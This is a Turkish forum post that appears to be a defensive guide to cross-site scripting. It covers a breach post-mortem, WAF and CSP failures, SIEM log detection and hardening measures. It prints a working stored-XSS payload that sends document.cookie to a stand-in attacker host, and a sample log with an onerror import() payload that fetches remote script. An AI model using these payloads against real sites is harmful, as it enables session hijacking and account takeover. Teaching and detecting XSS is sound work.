Gelişmiş Siteler Arası Betik Çalıştırma (XSS) Rehberi | Teknik Arşiv

TURAN

Administrator
Yönetici
Katılım
16 Eylül 2025
Mesajlar
12
Tepkime puanı
9
Puan
3
Web sitesi
ebubekirbayat.com.tr

Üretim Ortamlarındaki Kalıcılık: XSS Neden Hâlâ Aramızda?​


Modern uygulama geliştirme yaşam döngülerinde (SDLC) yer alan SAST/DAST entegrasyonlarına rağmen, Cross-Site Scripting (XSS) zafiyetinin kurumsal ekosistemlerde varlığını sürdürmesi bir tesadüf değil, mimari bir tercihtir. Statik analiz araçları, veri akışını (taint analysis) takip ederken genellikle karmaşık DOM-based senaryolarında veya asenkron yüklenen bileşenlerde (Micro-frontends) körleşmektedir.

Kurumsal borç (Technical Debt), özellikle legacy sistemlerin modern Single Page Application (SPA) mimarilerine "wrapper" yapılarıyla entegre edilmesi sırasında patlak vermektedir. Birçok kurum, veri temizleme (sanitization) işlemini uç noktada (client-side) halletmeye çalışırken, dangerouslySetInnerHTML benzeri fonksiyonların denetimsiz kullanımıyla saldırı yüzeyini genişletmektedir. CI/CD süreçlerinde "time-to-market" baskısı, güvenlik testlerinin "non-blocking" modda çalıştırılmasına neden olmakta, bu da high-risk bulguların "accepted risk" etiketiyle üretim ortamına sızmasına yol açmaktadır.

Vaka Analizi: X Organizasyonu İhlal Senaryosu (Post-Mortem)​


Analiz ettiğimiz vakada, saldırganın Stored XSS üzerinden Initial Access sağladığı ve bu vektörü Lateral Movement için kullandığı tespit edilmiştir. Hedef, kurumun iç kaynak planlama (ERP) yazılımıdır.

1. Initial Access: Saldırgan, müşteri destek paneline "zararsız" görünen ancak blind XSS payload içeren bir bilet (ticket) bırakmıştır.
2. Execution: Destek personeli bileti açtığında, personelin session_id ve CSRF_token bilgileri saldırganın C2 sunucusuna sızdırılmıştır.
3. Lateral Movement: Ele geçirilen admin oturumuyla, uygulamanın dosya yükleme (upload) fonksiyonundaki beyaz liste (whitelist) bypass edilerek sunucu üzerinde Web Shell tetiklenmiştir.

Kod:
Payload: <details/open/ontoggle="fetch('https://attacker.io/log?c='+document.cookie)">
Context: CRM Bilet Açıklama Alanı
Execution: Server-side rendering sırasında encoding atlanması.

Bu senaryoda XSS, tek başına bir son değil, kritik iç sistemlere erişim sağlayan bir "anahtar" görevi görmüştür.

Savunma Mimarisinin Otopsisi​


İhlal sırasında devrede olan WAF (Web Application Firewall) ve EDR çözümleri, saldırıyı engelleyememiştir. Bunun temel nedeni, WAF'ların imza tabanlı (signature-based) çalışması ve saldırganın Polyglot Payload kullanarak denetimlerden kaçmasıdır.

Mimari Hatalar:
- CSP (Content Security Policy) Yoksunluğu: `default-src 'self'` kuralının eksikliği, inline scriptlerin ve harici bağlantıların (exfiltration) önünü açmıştır.
- Context-Aware Encoding Eksikliği: Verinin sadece HTML entity bazlı temizlenmesi, öznitelik (attribute) veya JavaScript blokları içindeki yerleşimlerde zafiyeti tetiklemiştir.
- WAF False-Positive Korkusu: Güvenlik ekiplerinin operasyonel süreklilik adına WAF kurallarını "detection-only" modda tutması, aktif engellemeyi devre dışı bırakmıştır.

Tespit ve Log Analizi: SIEM/SOAR Perspektifi​


Bir SOC analisti için XSS tespiti, sadece `<script>` etiketini aramak değildir. Anomaliler, HTTP header'larındaki beklenmedik değişimlerde saklıdır. Aşağıdaki JSON, bir DOM-based XSS istismarı sırasında yakalanan tipik bir telemetri verisidir:

JSON:
{
  "timestamp": "2023-10-27T14:22:01Z",
  "source_ip": "192.168.45.12",
  "request_uri": "/dashboard/reports?id=99#<img/src/onerror=import('https://malicious.js')>",
  "user_agent": "Mozilla/5.0 (X11; Linux x86_64) ...",
  "referer": "https://internal-erp.com/login",
  "x_forwarded_for": "203.0.113.5",
  "anomally_score": 8.5,
  "incident_type": "Cross-Site Scripting - Fragment Injection"
}

Kritik IOC Analizi:
- request_uri içindeki fragment identifier (`#`) kullanımı sunucuya gönderilmez, bu yüzden standart web loglarında görünmez. Ancak EDR veya Browser Logging aktifse yakalanabilir.
- import() veya eval() fonksiyonlarının URL parametrelerinde görülmesi, doğrudan bir istismar girişimidir.
- Referer başlığının beklenmedik bir dış domain olması, XSS-based Phishing belirtisidir.

Operasyonel Hatalar ve Yanlış Önceliklendirme​


Güvenlik ekiplerinin en büyük hatası, XSS'i "düşük" veya "orta" seviyeli bir bulgu olarak sınıflandırmaktır. Alert Fatigue (uyarı yorgunluğu) nedeniyle, binlerce XSS uyarısı arasından "Blind XSS" gibi kritik olanlar elenmektedir.

Operasyonel düzeyde yapılan bir diğer hata ise "Input Validation" (Girdi Doğrulaması) ile "Output Encoding" (Çıktı Kodlaması) kavramlarının karıştırılmasıdır. Girdi doğrulaması iş mantığı (business logic) içindir, ancak XSS'i engelleyen asıl savunma hattı çıktı kodlamasıdır. Ekipler, veri tabanına kaydedilen verinin "temiz" olduğunu varsayarak, bu veriyi UI tarafında kontrolsüzce render etmektedir.

Profesyonel Güvenlik Değerlendirmesi​


XSS'ten arındırılmış bir mimari için Zero Trust ilkeleri uygulama katmanına indirilmelidir:

1. Trusted Types API: Modern tarayıcılarda DOM sink'lerine giden verilerin tip güvenliğini zorunlu kılın. String tabanlı veri aktarımını yasaklayın.
2. Strict CSP: 'unsafe-inline' ve 'unsafe-eval' direktiflerini tamamen kaldırın. Nonce-based veya hash-based CSP stratejisine geçin.
3. Immutable Infrastructure: Frontend kodlarını değişmez (immutable) paketler olarak dağıtın ve çalışma zamanında (runtime) herhangi bir script enjeksiyonuna karşı bütünlük kontrolü (Subresource Integrity - SRI) uygulayın.
4. Isolating Sensitive Cookies: Tüm session cookie'leri HttpOnly, Secure ve SameSite=Strict flag'leri ile işaretlenmelidir. Bu, XSS olsa dahi oturum çalınmasını (session hijacking) engeller.

Stratejik Sonuç​


XSS zafiyeti, sadece bir kodlama hatası değil, kurumsal mimarinin olgunluk seviyesinin bir göstergesidir. Bir kurum, XSS'i sadece bir "yamama" (patching) süreci olarak görüyorsa, sofistike bir saldırgan karşısında yenilmeye mahkumdur. Gerçek güvenlik; statik kod analizinden SOC izleme süreçlerine kadar her katmanda contextual awareness (bağlamsal farkındalık) oluşturulmasıyla mümkündür. Unutulmamalıdır ki; en gelişmiş WAF bile, yanlış yapılandırılmış bir innerHTML çağrısının yarattığı güvenlik boşluğunu kapatamaz.
 
Üst